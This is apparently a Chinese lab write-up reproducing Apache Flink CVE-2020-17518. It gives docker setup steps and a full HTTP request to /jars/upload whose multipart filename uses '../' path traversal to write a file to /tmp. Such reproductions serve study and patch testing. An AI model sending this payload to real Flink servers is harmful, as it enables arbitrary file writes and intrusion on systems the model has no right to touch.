Apache Flink文件上传漏洞(CVE-2020-17518)

Apache Flink是一个开源的流处理框架,具有强大的流和批处理功能。

Apache Flink 1.5.1引入了一个REST处理程序,允许您通过恶意修改的HTTP HEADER将上传的文件写入本地文件系统上的任意位置。

References:参考文献:

环境设置

执行以下命令启动Apache Flink jobmanager 1.11.2:

docker compose up -d

启动Apache Flink后,访问http://your-ip:8081查看主页。

图片.png

利用

先通过submit new job模块上传一个1.jar文件

使用以下请求将文件上传到/tmp/success

POST /jars/upload HTTP/1.1
Host: localhost:8081
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryoZ8meKnrrso89R6Y
Content-Length: 187

------WebKitFormBoundaryoZ8meKnrrso89R6Y
Content-Disposition: form-data; name="jarfile"; filename="../../../../../../tmp/success"

success
------WebKitFormBoundaryoZ8meKnrrso89R6Y--

bp抓包后,将filename位置的11.jar改成…/…/…/…/…/…/tmp/11并发送

图片.png

图片.png

进入docker容器查看是否上传成功

图片.png

上传成功

分享:

支付宝

微信